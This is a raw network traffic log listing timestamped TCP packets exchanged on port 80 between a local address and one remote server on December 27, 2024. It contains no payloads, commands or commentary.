Dec 27, 2024 09:02:37.319335938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.319350004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.319401026 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.324417114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.324696064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.324774027 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.329447985 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.329514027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.329561949 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.334517002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.334577084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.334625006 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.339557886 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.339633942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.339679956 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.344697952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.344779968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.344870090 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.350413084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.350492954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.350538969 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.372073889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.372088909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.372286081 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.453916073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.453932047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.454035044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.456079960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.456123114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.456182003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.459624052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.459738970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.459815025 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.463715076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.463787079 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.463860989 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.467710018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.467724085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.467782021 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.471879959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.471893072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.471970081 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.475390911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.475593090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.475667000 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.479043961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.479063034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.479132891 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.482604980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.482687950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.482758999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.486263990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.486305952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.486363888 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.489929914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.489959002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.490156889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.493474960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.493623018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.493690014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.497092009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.497196913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.497255087 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.500708103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.500870943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.500920057 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.502712965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.502877951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.502948046 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.504708052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.504838943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.504890919 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.506774902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.506865978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.506925106 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.508742094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.508827925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.508877993 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.510807037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.510821104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.510863066 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.512798071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.512809992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.512918949 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.514746904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.515012980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.515054941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.516686916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.516890049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.516946077 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.518753052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.518920898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.518970013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.520736933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.520780087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.520836115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.522783041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.522878885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.522933960 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.524761915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.524821043 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.524888992 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.526755095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.526829958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.526881933 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.528737068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.528764963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.528825045 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.530889988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.530934095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.530985117 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.532691002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.532776117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.532819986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.534686089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.534822941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.534879923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.654706001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.654723883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.654828072 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.655576944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.655798912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.655877113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.657407999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.657506943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.657552958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.659189939 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.659241915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.659320116 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.660945892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.661079884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.661144972 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.662818909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.662950993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.663012981 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.664730072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.664886951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.664940119 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.666539907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.666647911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.666707039 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.668390989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.668431997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.668484926 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.670161009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.670293093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.670347929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.672000885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.672080994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.672132015 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.673808098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.674014091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.674069881 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.675666094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.675776005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.675832987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.677503109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.677611113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.677686930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.679354906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.679425001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.679486990 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.681168079 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.681267023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.681668043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.683005095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.683116913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.683172941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.684820890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.684931993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.684993982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.686683893 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.686800957 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.686873913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.688519955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.688627005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.688709974 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.690359116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.690469027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.690581083 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.692209959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.692275047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.692327023 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.694017887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.694114923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.694185972 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.695899963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.696079016 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.696151018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.697674036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.697777033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.697839975 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.699513912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.699623108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.699697018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.701375961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.701498032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.701556921 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.703191996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.703310013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.703388929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.705023050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.705149889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.705220938 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.706904888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.706959009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.707031012 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.708724022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.708852053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.708913088 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.710557938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.710668087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.710717916 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.712392092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.712558985 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.712728977 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.714246988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.714355946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.714406013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.716062069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.716162920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.716222048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.717998981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.718096972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.718147039 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.719724894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.719862938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.719914913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.721560955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.721710920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.721765041 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.723382950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.723490953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.723545074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.725249052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.725351095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.725402117 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.727109909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.727226019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.727276087 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.728956938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.729038954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.729088068 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.730803967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.730946064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.731000900 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.732578039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.732688904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.732743025 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.734486103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.734563112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.734613895 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.736273050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.736434937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.736488104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.738115072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.738228083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.738276958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.739967108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.740029097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.740077972 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.741816044 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.741930962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.741976976 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.743633986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.743719101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.743773937 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.745455027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.745541096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.745590925 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.747266054 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.793456078 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.856007099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.856034994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.856117964 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.856699944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.856780052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.856834888 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.857862949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.857990026 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.858045101 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.859510899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.859524012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.859577894 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.860985994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.861099005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.861197948 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.862478018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.862597942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.862648010 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.864028931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.864095926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.864146948 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.865473986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.865622044 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.865668058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.866966963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.867080927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.867135048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.868427038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.868565083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.868623018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.869939089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.870007992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.870059967 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.871436119 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.871552944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.871609926 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.872956991 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.873068094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.873126984 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.874208927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.874339104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.874396086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.875813007 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.875935078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.876002073 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.877130985 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.877285957 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.877342939 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.878545046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.878659964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.878782034 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.880017996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.880100012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.880146980 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.881455898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.881630898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.881676912 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.882868052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.882989883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.883044004 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.884356022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.884424925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.884476900 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.885734081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.885849953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.885901928 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:37.887217999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:37.887335062 CET	80	49768	185.215.113.16	192.168.2.11
